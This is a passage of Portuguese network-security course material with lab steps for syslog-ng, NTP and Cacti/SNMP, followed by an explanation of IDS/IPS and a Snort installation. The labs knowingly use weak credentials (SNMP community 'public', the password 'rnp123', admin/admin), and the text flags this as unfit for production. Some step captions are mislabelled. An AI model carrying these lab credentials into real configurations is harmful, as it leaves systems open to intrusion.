Nesta atividade, o aluno vai configurar um repositrio de Syslog em um servidor da DMZ e
enviar os logs dos demais servidores para esse servidor.
O objetivo desta atividade fazer o aluno aplicar os conceitos de repositrio de logs de uma
rede e preparar o ambiente para os servios seguintes, que sero configurados durante o curso.
No host LinServer, para instalar o syslog-ng, necessrio que esse host j esteja com o acesso
internet configurado conforme o Roteiro de Atividades 3. Aps realizar a instalao, com
base na teoria apresentada, vamos configurar o servidor para receber o syslog local e da rede,
e colocar os logs de cada host em um arquivo diferente no diretrio /var/log/syslog/.

Captulo 4 - Roteiro de Atividades

Servidor
Windows

DMZ 172.16.1.0/24

95

Exemplo:
Tabela de arquivos de log
Host

Arquivo

LinServer

/var/log/syslog/linserver.log

FWGW1

/var/log/syslog/fwgw1.log

Passo 1

No console do VirtualBox, acesse a mquina LinServer. Entre com as credenciais


de usurio root.

Passo 2

Atualize a base de pacotes do apt-get com o repositrio da internet:

# apt-get update
Passo 3

Instale o pacote syslog-ng para ser utilizado como servidor de syslog da rede:

# apt-get install syslog-ng


Passo 4

Configure o syslog-ng para receber mensagens de Syslog de outros hosts da


rede e colocar mensagens de cada host em um arquivo especfico:

# vi /etc/syslog-ng/syslog-ng.conf
Passo 5

No arquivo de configurao, adicione a origem remota. Neste caso vamos


aceitar conexes UDP porta 514 de qualquer endereo de origem:

source s_rede { udp(); };


Passo 6

No arquivo de configurao do syslog-ng, adicione a linha que especifica onde


sero armazenados os arquivos de log, com o parmetro destination;

destination d_hosts-file { file(/var/log/$HOST.log); };


destination d_localhost-file { file(/var/log/localhost.log)};
Passo 7

No arquivo de configurao do syslog-ng, defina a regra log, associando a


origem ao destino desejado. Lembre-se da tabela acima para definir essa regra:

log { source(s_rede); destination(d_hosts-file); };


log { source(s_all); destination(d_localhost-file); };
Passo 8

Como esta mquina foi configurada como servidor syslog-ng e tambm como
agente, os logs locais da mquina devem iniciar o armazenamento no local
definido em destination, aps o reincio do servio:

# /etc/init.d/syslog-ng restart

Configurao do cliente syslog-ng


Iremos instalar o syslog-ng no host FWGW1 e configurar para gravar os logs no local e enviar
uma cpia para o servidor de logs.

Segurana de Redes e Sistemas

Para instalar o syslog-ng, os comandos sero os mesmos apresentados para o servidor,

96

conforme segue:

# apt-get update
# apt-get install syslog-ng

Passo 1

No console do VirtualBox, acesse a mquina FWGW1. Entre com as credenciais


de usurio root.

Passo 2

Atualize a base de pacotes do apt-get com o repositrio da internet:

# apt-get update
Passo 3

Instale o pacote syslog-ng para ser utilizado como servidor de syslog da rede:

# apt-get install syslog-ng


Passo 4

Configure o syslog-ng para receber mensagens de syslog do sistema


operacional e processos de usurios e armazenar essas mensagens em
arquivo especfico, conforme a tabela de arquivos de log localizada no incio
desta atividade:

# vi /etc/syslog-ng/syslog-ng.conf
Passo 5

No arquivo de configurao do syslog-ng, adicione a linha que especifica onde


sero armazenados os arquivos de log, com o parmetro destination.
Neste caso o destino ser o servidor de syslog, o host LinServer:

destination d_syslog-server { udp(172.16.G.10 port(514)); };


Passo 6

Por fim, tambm no arquivo de configurao do syslog-ng, defina a regra log,


associando a origem ao destino desejado; use a tabela de arquivos de log para
definir essa regra:

log { source(s_all); destination(d_syslog-server); };


Passo 7

Como esta mquina foi configurada como agente syslog-ng, os logs da


mquina iniciaro o envio para o servidor definido em destination, aps
o reincio do servio:

# /etc/init.d/syslog-ng restart
Passo 8

Verifique no servidor de Syslog LinServer a criao do arquivo de log do host


FWGW1 e seus registros. Para testar o envio de logs execute no FWGW1-G
o comando:

# logger p error Teste


Para configurar o syslog-ng como cliente, o aluno ter o material terico e o manual do programa como referncias. Para acessar o manual do syslog-ng, utilize o seguinte comando:

# man syslog-ng

Atividade 2 Configurao do servidor de hora


Nesta atividade vamos configurar o servio de sincronismo de relgio em um servidor da
rede e configurar os demais hosts da rede para sincronizar com o relgio desse servidor.
O aluno instalar o NTP nos hosts Linux, tanto no host que ser o servidor de sincronismo
remos os seguintes comandos:

# apt-get update
# apt-get install ntp
Para reiniciar o servio no Debian, utilize o seguinte comando:

# /etc/init.d/ntp <ao>

Captulo 4 - Roteiro de Atividades

de relgio, quanto nos hosts que sero clientes desse servidor. Para instalar o NTP utiliza-

97

Onde a ao pode ser:


11 start para iniciar o servio.
11 stop para parar o servio.
11 restart para reiniciar o servio.
A configurao do NTP fica por padro no arquivo /etc/ntp.conf. Para que o programa assuma
as novas configuraes realizadas no arquivo de configurao, necessrio reiniciar o
daemon NTP.

Configurao do servidor de sincronismo


Iremos configurar o host LinServer como servidor de sincronismo de relgio da rede. Assim,
esse servidor sincronizar os servidores de relgio externos da RNP (ntp1.rnp.br) e disponibilizar o servio de sincronismo de relgio para os outros hosts da rede.
Como referncia para esta atividade, utilizaremos o manual on-line NTP.br - A Hora Legal
Brasileira, via Internet.
Passo 1

Instale o pacote NTP no host Debian LinServer no servidor LinServer-G; esse


ser o nosso servidor de tempo do laboratrio:

# apt-get install ntp


Passo 2

Edite o arquivo de configurao do NTP (/etc/ntp.conf) com o seu editor de


texto preferido e troque os servidores de tempo padro do Debian pelos servidores de tempo do Comit Gestor da Internet Brasil (CGI.br).
Exemplo:

# vi /etc/ntp.conf
Comente as linhas:

server 0.debian.pool.ntp.org iburst dynamic


server 1.debian.pool.ntp.org iburst dynamic
server 2.debian.pool.ntp.org iburst dynamic
server 3.debian.pool.ntp.org iburst dynamic
Adicione as seguintes linhas:

server a.ntp.br iburst


server b.ntp.br iburst
server c.ntp.br iburst
Passo 3

Reinicie o processo NTP com o comando:

# /etc/init.d/ntp restart
Passo 4

Para verificar o funcionamento do NTP, podemos utilizar os seguintes comandos:

Segurana de Redes e Sistemas

# ntpq -c pe

98

Passo 5

importante verificar tambm se o processo do servidor de NTP est


carregado corretamente e escutando por conexes:

# netstat nap | grep ntp

Configurao do cliente de sincronismo Linux


Para configurar o NTP nos hosts Linux Debian, instalaremos o NTP conforme mostrado
neste roteiro e iremos configurar o NTP para realizar a sincronia de relgio com o servidor
configurado no item anterior.

Passo 1

Instale o pacote NTP no host Debian FWGW1-G; este ser nosso cliente de
tempo do laboratrio:

# apt-get install ntp


Passo 2

Edite o arquivo de configurao do NTP (/etc/ntp.conf) com seu editor de texto


preferido e troque os servidores de tempo padro do Debian pelos servidores
de tempo do Comit Gestor da Internet Brasil (CGI.br).

Exemplo:
# vi /etc/ntp.conf
Comente as linhas:

server 0.debian.pool.ntp.org iburst dynamic


server 1.debian.pool.ntp.org iburst dynamic
server 2.debian.pool.ntp.org iburst dynamic
server 3.debian.pool.ntp.org iburst dynamic
Adicione as seguintes linhas:

server 172.16.G.10 iburst


Onde G referente ao grupo, G=1 para Topologia A e G=2 para Topologia B.
Passo 3

Reinicie o processo NTP com o comando:

# /etc/init.d/ntp restart
Passo 4

Para verificar o funcionamento do NTP, utilize o comando:

# ntpq -c pe

Configurao do cliente de sincronismo Windows


O Microsoft Windows XP, Windows 7 e Windows 2008 Server possuem uma forma simples
de configurar o sincronismo de relgio com servidores de rede, desde de que no tenham
o servidor de diretrio Microsoft Active Directory como controlador de domnio, pois dessa
forma o sincronismo automtico. Para a configurao do sincronismo automtico do host
Windows com o servidor de hora da rede, clique duas vezes no relgio da barra de tarefas
para abrir uma janela auxiliar de configurao.
No host Windows XP, configure o relgio para sincronizar com o servidor de
relgio do laboratrio, o servidor LinServer (172.16.G.10).

Captulo 4 - Roteiro de Atividades

Passo 1

99

Passo 2

No host Windows 2008 Server, configure o relgio para sincronizar com o servidor de relgio do laboratrio. Para isso, clique uma vez no relgio da barra de
ferramentas, e aparecer um menu flutuante; clique em Change date and time
settings... e aparecer a tela de auxlio de configurao do relgio, como a seguir:

Clique no boto Change settings... e aparecer a tela de configurao do


servidor NTP:

Coloque o endereo IP do servidor NTP do laboratrio, host LinServer.

Atividade 3 Monitoramento de servios


Nesta atividade prtica, o Cacti ser configurado para monitorar os recursos dos servidores
da rede. O Cacti e os pacotes necessrios para o correto funcionamento sero instalados no
LinServer. Sero configurados agentes SNMP nos servidores WinServer e FWGW1 para que o
Cacti possa monitorar os recursos desses hosts.
Em um ambiente em produo, onde hosts esto configurados com SNMP verses 1

Segurana de Redes e Sistemas

e 2c, nunca utilize as communities public ou private.

100

Nesses protocolos, as senhas so as prprias communities, de modo que fortemente


recomendado utilizar strings longas e complexas como communities. Para facilitar a implementao nesta atividade, excepcionalmente utilizaremos a community public nos hosts
com SNMP verso 2c.

Instalao do Cacti
Passo 1

No console do VirtualBox, acesse a mquina LinServer. Entre com as credenciais


de usurio root.

Passo 2

Atualize a base de pacotes do apt-get com o repositrio da internet:

# apt-get update
Passo 3

Instale o pacote syslog-ng para ser utilizado como servidor de syslog da rede:

# apt-get install cacti


Para a senha de root do MySQL, utilize rnp123.
Para o servidor http, escolha Apache.
Responda YES, para o instalador do Cacti criar os esquemas de banco de dados.
Para as demais solicitaes de senha, utilize rnp123.
Passo 4

Configure o Apache para publicar o Cacti:

# cp /etc/cacti/apache.conf /etc/apache2/conf.d/cacti.conf
# /etc/init.d/apache2 restart

Passo 5

No host Windows XP, acesse o console web do Cacti para concluir a instalao:
http://172.16.G.10/cacti

Passo 6

No primeiro acesso do Cacti, utilize as seguintes credenciais:


Usurio: admin
Senha: admin
Ser solicitada a alterao da senha: altere para rnpesr.

Instalao do agente SNMP no Linux


Passo 1

No console do VirtualBox, acesse a mquina FWGW1. Entre com as credenciais


de usurio root.

Passo 2

Atualize a base de pacotes do apt-get com o repositrio da internet:

# apt-get update
Passo 3

Instale o pacote syslog-ng para ser utilizado como servidor de syslog da rede:

# apt-get install snmpd


Passo 4

Configure o SNMPD para permitir consulta aos discos locais da mquina pelo
console de gerenciamento do Cacti instalado no host LinServer:

# vi /etc/snmp/snmpd.conf
Adicione as seguintes linhas:
com2sec readonly default

public

syslocation Curso SEG-2 ESR RNP


syscontact Aluno ESR SEG-2 <aluno@esr.rnp.br>
disk /
load 12 14 14

# vi /etc/default/snmpd
Altere os parmetros da varivel SNMPDOPTS para:

SNMPDOPTS=-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/


snmpd.pid 127.0.0.1 172.16.G.1
Reinicie o servio SNMPD:

#/etc/init.d/snmpd restart
Passo 5

No host Windows XP, acesse o console web do Cacti para adicionar a monitorao do novo host: http://172.16.G.10/cacti

Captulo 4 - Roteiro de Atividades

Edite o arquivo /etc/default/snmpd para permitir consultas SNMP remotas pela


interface eth1:

101

Instalao do agente SNMP no Windows


Passo 1

No console do VirtualBox, acesse a mquina WinServer. Entre com as credenciais


de usurio Administrator.

Passo 2

Para adicionar o recurso SNMP no Windows, utilize a ferramenta Server


Manager, disponvel no boto Start, e Administrative Tools.
No Server Manager, adicione a feature SNMP Services.

Passo 3

Habilite o Windows Firewall para permitir conexo SNMP.

Segurana de Redes e Sistemas

No preciso executar este passo no laboratrio, pois o firewall do


WinServer-G foi desativado no primeiro captulo deste curso.

102

Passo 4

Configure o SNMP do Windows e crie a community public. Permita acesso do


host LinServer apenas de leitura. Para isso, acesse a janela do gerenciador de
servios do Windows em Start > All Programs > Administrative Tools > Services.

Passo 5

Com o boto direito do mouse sobre o servio SNMP Service, acesse a opo
Properties. Configure as abas Agent e Security.

Ao final, reinicie o servio SNMP Service.


Passo 6

No host Windows XP, acesse o console web do Cacti para adicionar a monitorao do novo host WinServer pela URL: http://172.16.G.10/cacti

5
Compreender as ferramentas open source disponveis na internet e as tcnicas
apropriadas para o monitoramento de segmentos de rede e de mquinas.

conceitos

Sistemas de Deteco de Intrusos (IDS), seus componentes e classificaes, HIDS


e conceitos relacionados ao Snort, entre outros.

Introduo
Nos captulos 2 e 3, vimos como estabelecer um permetro para proteger uma rede interna
dos perigos da internet e de outras redes pblicas, incluindo a criao de uma DMZ para
prover servios pblicos. Apesar de ser uma tcnica bastante eficiente, existe a possibilidade de as nossas defesas serem atacadas e eventualmente vencidas. Lembre-se: no existe
sistema 100% seguro e isso sempre vai existir. Por isso, a deteco e a preveno de intrusos
que consiste no monitoramento constante de diversos elementos, como segmentos de rede,
sistemas operacionais e aplicaes. Atravs desse monitoramento constante, podemos
tomar uma ao caso alguma atividade suspeita seja detectada, que pode ser desde um
alerta para o administrador de segurana at o bloqueio temporrio ou permanente do
atacante. Podemos considerar um IDS (Intrusion Detection System), em conjunto com um
firewall, como uma aplicao do princpio de defesa em profundidade.

Exerccio de nivelamento 1 e
Deteco e preveno de intrusos
O que voc entende por deteco e preveno de intrusos?

Sistemas de Deteco de Intrusos (IDS)


Ferramenta capaz de detectar atividade maliciosa atravs do monitoramento constante
de um segmento de rede ou de chamadas de sistema em um sistema operacional. Possui
os seguintes componentes: Sensor, Engine e Console.
11 Centralizados x Distribudos.

Captulo 5 - Deteco e preveno de intrusos

objetivos

Deteco e preveno de intrusos

103

Classificaes:

11 Quanto ao modo de funcionamento:


22 Detectores de anomalias.
22 Detectores de mau uso.
11 Quanto ao local de atuao:
22 Baseados em host (HIDS).
22 Baseados em redes (NIDS).
11 Quanto forma de atuao
22 Reativos.
22 Passivos.
11 Ativos (IPS).
Um IDS consiste em uma ferramenta capaz de detectar atividade maliciosa atravs do
monitoramento constante de um segmento de rede ou de chamadas de sistema em um
sistema operacional. Existem diversos IDS no mercado com componentes e funcionamento
distintos, porm normalmente encontramos os seguintes componentes em um IDS:
11 Sensor: responsvel por coletar informaes sobre a rede, sistema operacional ou aplicao, para ser utilizado como parmetro de entrada para o sistema de deteco.
11 Engine: responsvel por analisar as informaes coletadas e comparar com um padro
conhecido, para assim determinar se um evento normal ou malicioso. Algumas engines
trabalham com elementos mais determinsticos, como assinaturas de ataque. Outras trabalham com redes neurais e sistemas estatsticos, e podem detectar ataques desconhecidos.
11 Console: interface para o administrador configurar o funcionamento da ferramenta.
Esses componentes podem estar em uma nica mquina ou distribudos. Existem ainda
diferentes tipos de IDS de acordo com o modo de funcionamento, local e forma de atuao
frente a um ataque. Existem ento as seguintes classificaes para facilitar o nosso entendimento sobre o assunto.

Quanto ao modo de funcionamento


11 Detector de anomalias: utiliza alguma funo estatstica ou rede neural para definir um
perfil de utilizao normal da rede em uma etapa de aprendizado. Em seguida, analisa
constantemente o padro atual com o aprendido. Caso ocorra algum desvio acima de um
limiar, considera que houve uma tentativa de intruso. Essa tcnica tem a vantagem de
possibilitar a deteco de ataques desconhecidos, mas pode gerar falsos positivos e no
capaz de saber o ataque especfico em ao.

Segurana de Redes e Sistemas

11 Detector de mau uso: o modo mais utilizado atualmente. Possui funcionamento pare-

104

cido com o de um antivrus. Atravs de um conjunto de assinaturas previamente configuradas, o IDS monitora o ambiente em busca de eventos que coincidam com alguma
assinatura. Possui baixo ndice de falsos positivos caso as assinaturas sejam de boa qualidade. No detectam ataques desconhecidos e dependem de atualizao das assinaturas
por parte do fabricante ou da comunidade.

Quanto ao local de atuao


11 Baseados em host: agem em cima de uma nica mquina. Normalmente so instalados na
prpria mquina que se deseja proteger e monitoram chamadas do sistema operacional ou
atividades de uma aplicao especfica. Comumente chamados de Host-based IDS (HIDS).
11 Baseados em redes: agem em cima de um segmento de rede. So instalados em uma
mquina que faz parte do segmento de rede. Monitoram o trfego no segmento de rede
do qual a interface de monitoramento faz parte. Os IDSs de rede so chamados de NIDS.
Um NIDS capaz de detectar atividade suspeita em uma rede inteira que se encontra
atrs dele, porm, como age no nvel do sistema operacional, um HIDS capaz de obter
informaes mesmo que elas no trafeguem pela rede. Em arquiteturas reais, muito
comum a combinao de NIDS e HIDS de modo a obter uma proteo mais completa.

Quanto forma de atuao


11 Reativos: agem aps um evento malicioso. Podem inserir regras em um firewall acoplado
ou tentar encerrar a conexo utilizando pacotes falsificados. importante ressaltar que,
em alguns ataques, a reao pode ser tardia demais. Existem ataques em que um pacote
suficiente para causar algum tipo de estrago. Nesses casos, no momento em que o IDS
reagir ao ataque, ser tarde demais.
11 Passivos: no causam nenhuma alterao no ambiente. Fazem apenas registros dos
eventos e notificaes para os administradores. Uma vantagem de um IDS passivo
que ele no causa nenhuma interrupo na rede caso falhe, porm o trfego malicioso
deixar de ser detectado. Aqui temos uma aplicao inversa do princpio de fail safe.
11 Ativos: agem ativamente em caso de evento malicioso. Os sistemas ativos so chamados
de Sistemas de Preveno de Intrusos ou IPS.

Exerccio de fixao 1 e
IDS
Explique no que consiste um IDS.

Sistema de Preveno de Intrusos (IPS)


Ativos:
11 Atuam normalmente em cima de trfego de rede.
Vantagem:
11 Possibilidade de bloquear um ataque a partir do seu primeiro pacote.
Desvantagem:
11 Necessita ter capacidade de processamento suficiente.
Ao em caso de falha (fail safe):
11 Liberar acesso.
11 Bloquear acesso.

Captulo 5 - Deteco e preveno de intrusos

Quanto ao local de atuao, como podemos dividir os IDS? Onde atuam?

105

O IPS (Intrusion Prevention System) se diferencia do IDS pelo fato de ser ativo, ou seja, interfere diretamente nos eventos que passam por ele, diferente do IDS, que passivo, isto ,
apenas monitora os eventos, sem neles interferir. Os IPSs mais comuns so os de rede, que
atuam em cima do trfego de rede. Na figura abaixo, podemos diferenciar um IDS de um IPS,
por meio da sua localizao na rede.

IPS

Figura 5.1
Localizao do IDS
e IPS na rede.

IDS

Na Figura 5.1 podemos perceber que o trfego passa diretamente pelo IPS, de modo que o
sistema pode optar por no transmitir um trfego adiante, caso suspeite que seja malicioso.
Esse comportamento diferente do comportamento do IDS, que apenas monitora o trfego.
Mesmo que o IDS tome uma ao, essa ser reativa, pois no vai interferir no trfego da
rede. Uma vantagem clara dos IPSs a possibilidade de bloquear um ataque a partir do seu
primeiro pacote, o que pode ser fundamental para mitig-lo, visto que em alguns ataques,
basta um pacote para que o ataque seja bem-sucedido (lembre-se do ping da morte).
Uma desvantagem do IPS a sua necessidade de capacidade de processamento suficiente
para analisar todos os pacotes que passam por ele, o que pode causar atrasos em casos
de redes muito sobrecarregadas; isso no ocorre no IDS, que passivo. Um IDS sobrecarregado, porm, no consegue analisar todos os pacotes que passam por ele, de modo a se
tornar um IDS estatstico, pois analisa apenas uma porcentagem do trfego. Em muitos IPSs
comerciais, o fabricante indica a taxa de transferncia mxima (troughput) que um determinado IPS capaz de suportar. Outra caracterstica importante a ser considerada em um IPS
a ao em caso de falha. Um IPS onde ocorreu uma falha pode bloquear ou liberar todas
as conexes que passam por ele. Essa deciso capciosa e complexa, pois liberar todas
as conexes pode permitir que um atacante acesse a rede protegida, e bloque-las pode
causar um problema de disponibilidade.

Exerccio de fixao 2 e
IPS
O que so IPS?

Segurana de Redes e Sistemas

Como podemos diferenciar um IPS de um IDS?

Sistemas de Deteco de Intrusos em hosts (HIDS)


HIDS agem em uma mquina especfica realizando:
11 Monitoramento.
11 System calls.
11 Logs de aplicao.
11 Modificao em arquivos.
11 Criao de processos.

106

Exemplos:
11 OSSEC.
11 SAMHAIN.
11 Tripwire.
11 Osris.

Na maior parte dos casos, quando falamos em IDS, estamos nos referindo aos sistemas de
deteco de intrusos baseados em rede (NIDS), que so mais comuns. Um sistema baseado
em rede capaz de monitorar um segmento de rede e detectar trfego malicioso destinado
a qualquer mquina que se encontre atrs do segmento monitorado, criando uma proteo
mais abrangente, porm limitada a informaes obtidas atravs de pacotes enviados na rede.
Como complemento aos NIDSs, existem sistemas de deteco que agem em uma mquina
especfica, monitorando elementos como chamadas ao sistema (system calls), logs de
aplicao, modificao em arquivos ou registros, criao de processos, entre outros. So chamados de HIDS (Host Intrusion Detection Systems). Um HIDS protege apenas a mquina onde
esteja instalado, porm capaz de obter informaes que no trafegam na rede.
Existem diversos tipos de HIDSs. Os mais simples monitoram questes simples de um
ambiente computacional, como alteraes em arquivos, uso excessivo de CPU, memria
etc. Outros, mais complexos, se instalam como drivers ou mdulos do kernel, monitorando elementos de baixo nvel no sistema operacional, como chamadas ao sistema e
acesso fsico ao disco, entre outros. comum a combinao de NIDS e HIDS em uma rede,
de modo a monitorar tanto a rede, quanto as aplicaes e sistemas operacionais.
As tecnologias de IDS atualmente esto bastante sedimentadas, de modo que existem
diversas ferramentas, livres e comerciais. Neste curso usaremos o Snort, considerado um
dos melhores IDS open source do mercado.

Exerccio de fixao 3 e
HIDS

Snort
NIDS open source baseado em assinaturas com plugin estatstico (SPADE). Tem estrutura
modular altamente customizvel com plugins, disponvel em diversas plataformas
(arquitetura modular).
11 Alertas
22 Arquivos texto.
22 Bases de dados.
11 Armazenamento dos pacotes.
22 FWGW1:/var/log/snort# ps aux | grep snort
22 snort

3305 26.6 58.1 174664 149108 ?

S<s 03:54 5:11 /usr/sbin/snort -m

027 -D -d -l /var/log/snort -u snort -g snort -c /etc/snort/snort.conf -S HOME_

Captulo 5 - Deteco e preveno de intrusos

Explique o que um HIDS.

NET=[172.16.1.0/24] -i eth0
107

11 Controles de execuo
22 /etc/init.d/snort stop encerra o Snort.
22 /etc/init.d/snort start inicia o Snort.
22 /etc/init.d/snort restart reinicia o Snort (aplica mudanas no arquivo de configurao).
O Snort um NIDS open source, bastante conhecido. Ele baseado em assinaturas, de
modo que necessrio que ele seja constantemente atualizado para continuar sendo
eficiente. Existe um plugin estatstico para o Snort, chamado SPADE, pouco usado.

O Snort possui uma estrutura modular altamente customizvel, de modo que diversos plugins e
programas acessrios podem ser usados para expandir suas funcionalidades, como a possibilidade de reagir a um alerta, a atualizao automtica das suas assinaturas e o gerenciamento
de diversos sensores espalhados em uma ou mais redes. Por ter o cdigo-fonte aberto, o Snort
foi portado para plataformas como Linux e Windows. A figura a seguir apresenta os diferentes
componentes do Snort, desde a captura do pacote na rede at o registro de um alerta ou log.

Internet

Figura 5.2
Arquitetura Snort.

Decodicador
de pacote

Preprocessadores

Detection Engine

Registro e
sistema de alerta
Alerta de sada ou
registro de arquivo

Pacote descartado

Mdulos de sada

O decodificador de pacote responsvel pela obteno dos pacotes no segmento de rede


monitorado. Os preprocessadores realizam diversos tipos de processamento em cima dos
pacotes, com o objetivo de obter trfego normalizado. Questes como fragmentao, uso
de codificaes diferentes e ofuscao de pacotes so tratadas nessa etapa. A seguir, o
detection engine responsvel por compilar as regras (assinaturas) e testar os pacotes contra
essas regras. O registro e sistema de alerta gera os registros do Snort e envia os alertas.
Por fim, os mdulos de sada exportam os alertas e registros para um arquivo ou banco de
dados. A figura a seguir apresenta um exemplo de alerta gerado pelo Snort.

Gerador da
regra (GID)

Cdigo da
regra (SID)

Descrio do alerta + classicao + prioridade

Reviso

Timestamp + IP + portas

[**][1:2001669:2] BLENDING-EDGE Web Proxy Get Request[**]


Segurana de Redes e Sistemas

[Classication: Potentially Bad Trac][Priority 2]

108

09/22-04:09:54.54.944632 192.168.1.1:64570-> 192.168.2.33:80


TCP TTL:108 TOS:0x0 ID:17008 IpLen: 20 DgmLen: 454 DF
***AP***Seq: 0x478a75AC Ack: 0x4F338167 Win: 0x40B0 TcpLen: 20

Parmetros
de rede

Figura 5.3
Exemplo de alerta
gerado pelo Snort.

[Xref=>http://cve.mitre.org/cgi-bin/cvename.cgi?name=2000-0951]
[Xref=>http://www.secutiryfocus.com/bid/1756]
[Xref=>http://www.whitehats.com/info/IDS474]

Referncias

Atravs da arquitetura modular do Snort, possvel a gerao de alertas em arquivos


texto, bases de dados, entre outros. Em conjunto com os alertas, possvel ainda o armazenamento dos pacotes que causaram um determinado alerta, o que importante para se
determinar se um determinado alerta legtimo, ou se um falso-positivo.
H programas auxiliares ao Snort, que geram alertas em formatos mais teis para um
administrador, como BASE (Basic Analysis and Security Engine), Sguil (The Analyst Console
for Network Security Monitoring) e OSSIM, considerado um SIEM (Security Information
and Event Management ). Um SIEM uma ferramenta centralizada de segurana, com o
objetivo de concentrar as informaes de segurana em uma nica ferramenta. O OSSIM
um conjunto de ferramentas integradas, com um console grfico completo. Muitas das
ferramentas presentes no OSSIM foram ou sero apresentadas neste curso, como Snort,
Nessus, Ntop e Nagios. O interessante do OSSIM que ele disponibilizado como uma
imagem ISO, com todos os componentes instalados automaticamente, bastando apenas a
sua inicializao atravs dessa ISO.

Instalao do Snort
A instalao do Snort, assim como a de outros programas open source, normalmente envolveria
compilar o cdigo-fonte e instal-lo na mquina em questo. Porm, no caso do Linux, a prpria
distribuio Debian, utilizada no nosso laboratrio, prov o Snort j compilado, de modo que
basta uma conexo com a internet e dois comandos para instalar a parte bsica do Snort:

apt-get update
apt-get install snort
O primeiro comando atualiza a base de pacotes do Debian e o segundo comando efetivamente instala a ltima verso do Snort disponvel. importante ressaltar que o Debian nem
sempre disponibiliza as ltimas verses dos programas, pois os desenvolvedores possuem
um rgido processo de incluso de novas verses, de modo que a verso disponibilizada
normalmente inferior ltima verso disponvel no site. Caso o aluno necessite de uma
verso mais atualizada, recomenda-se utilizar o conjunto de pacotes unstable ou utilizar
outra distribuio com atualizaes mais frequentes, como o Ubuntu.

w Caso tudo corra bem, teremos o seguinte resultado:


FWGW1:~# apt-get install snort
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
libcompress-raw-zlib-perl libcompress-zlib-perl libfont-afm-perl
libhtml-format-perl libhtml-parser-perl libhtml-tagset-perl
libhtml-tree-perl libio-compress-base-perl libio-compress-zlib-perl
libltdl3
libmailtools-perl libmysqlclient15off libpcap0.8 libprelude2
libtimedate-perl liburi-perl libwww-perl mysql-common oinkmaster

Captulo 5 - Deteco e preveno de intrusos

Mais informaes
sobre os conjuntos
de pacotes podem
ser encontradas no
Frum Debian
(Hibridizando o APT).

109

snort-common snort-common-libraries snort-rules-default


Suggested packages:
libio-socket-ssl-perl snort-doc
The following NEW packages will be installed:
libcompress-raw-zlib-perl libcompress-zlib-perl libfont-afm-perl
libhtml-format-perl libhtml-parser-perl libhtml-tagset-perl
libhtml-tree-perl libio-compress-base-perl libio-compress-zlib-perl
libltdl3
libmailtools-perl libmysqlclient15off libpcap0.8 libprelude2
libtimedate-perl liburi-perl libwww-perl mysql-common oinkmaster snort
snort-common snort-common-libraries snort-rules-default
0 upgraded, 23 newly installed, 0 to remove and 0 not upgraded.
Need to get 5314kB of archives.
After this operation, 18.3MB of additional disk space will be used.
Do you want to continue [Y/n]? Y
[...]
Fetched 5314kB in 7s (737kB/s)
Preconfiguring packages ...
Selecting previously deselected package mysql-common.
(Reading database ... 19042 files and directories currently installed.)
[...]
Processing triggers for man-db ...
Setting up mysql-common (5.0.51a-24+lenny4) ...
Setting up libmysqlclient15off (5.0.51a-24+lenny4) ...
Setting up libpcap0.8 (0.9.8-5) ...
Setting up libltdl3 (1.5.26-4+lenny1) ...

Segurana de Redes e Sistemas

Setting up libprelude2 (0.9.18.1-1) ...


Setting up snort-common-libraries (2.7.0-20.4) ...
Setting up snort-rules-default (2.7.0-20.4) ...
Setting up snort-common (2.7.0-20.4) ...
Setting up snort (2.7.0-20.4) ...
Stopping Network Intrusion Detection System : snortNo running snort
instance found (warning).
Starting Network Intrusion Detection System : snort (eth0 no /etc/
110

snort/snort.eth0.conf found, defaulting to snort.conf ...done).


Setting up libcompress-raw-zlib-perl (2.012-1lenny1) ...
Setting up libio-compress-base-perl (2.012-1) ...
Setting up libio-compress-zlib-perl (2.012-1) ...
Setting up libcompress-zlib-perl (2.012-1) ...
Setting up libfont-afm-perl (1.20-1) ...
Setting up libhtml-tagset-perl (3.20-2) ...
Setting up liburi-perl (1.35.dfsg.1-1) ...
Setting up libhtml-parser-perl (3.56-1+lenny1) ...
Setting up libhtml-tree-perl (3.23-1) ...
Setting up libhtml-format-perl (2.04-2) ...
Setting up libtimedate-perl (1.1600-9) ...
Setting up libmailtools-perl (2.03-1) ...
Setting up libwww-perl (5.813-1) ...
Setting up oinkmaster (2.0-2) ...
FWGW1:~#
Algumas partes do resultado da instalao (representadas pelas linhas contendo [...]) foram
suprimidas por questo de tamanho. Ao final da execuo do comando, o Snort estar
instalado e executando. Durante a instalao ser perguntado o endereo da rede local,
que corresponder ao parmetro HOME_NET. Esse parmetro importante, pois o trfego
que no se originar ou tiver como destino essa rede ser ignorado pelo Snort. Caso queira
monitorar todo o trfego que passa pela interface de captura do IDS, configure HOME_NET
como 0.0.0.0/0.
Com o Snort instalado, podemos verificar se est em execuo utilizando o comando ps
no Linux:

FWGW1:/var/log/snort# ps aux | grep snort


3305 26.6 58.1 174664 149108 ?

S<s

03:54

5:11 /

usr/sbin/snort -m 027 -D -d -l /var/log/snort -u snort -g snort -c /


etc/snort/snort.conf -S HOME_NET=[172.16.1.0/24] -i eth0
Verifique que uma srie de parmetros so passados para o Snort automaticamente, por
conta da instalao do Snort no Debian. Os principais sero descritos a seguir.
Caso tenha interesse em outros parmetros do Snort, o comando man snort apresenta
uma descrio de todos os parmetros existentes:
11 -D: modo daemon, executa o Snort como um servio, de modo que ele ficar em
constante execuo at que seu processo seja finalizado.
11 -d: instrui o Snort a incluir os dados da camada de aplicao no pacote que ser registrado.
11 -l: indica o diretrio onde os logs do Snort sero armazenados. No acaso, o diretrio
/var/log/snort conter os registros de alertas e pacotes.

Captulo 5 - Deteco e preveno de intrusos

snort

111

11 -u: indica o usurio que ser utilizado para executar o Snort. Conforme o princpio

do menor privilgio, no recomendamos que o Snort seja executado com direitos


de administrador (root).
11 -g: indica o grupo utilizado para executar o processo do Snort.
11 -c: indica o caminho do arquivo de configurao.
11 -S: varivel=valor ajusta a varivel para o valor definido. Permite alterao em linha
de comando de parmetros do arquivo de configurao. Na execuo acima, o
parmetro est ajustando a varivel HOME_NET para o valor 172.16.1.0/24, definido
durante a instalao.
11 -i: indica a interface que ser utilizada para a captura de trfego.
Alguns desses parmetros podem ser ajustados no arquivo /etc/default/snort. Para controlar
a execuo do servio do Snort, podemos utilizar os seguintes comandos:
11 /etc/init.d/snort stop encerra o Snort.
11 /etc/init.d/snort start inicia o Snort.
11 /etc/init.d/snort restart reinicia o Snort (aplica mudanas no arquivo de configurao).

Configurao do Snort
11 /etc/snort/snort.conf

22 var RULE_PATH
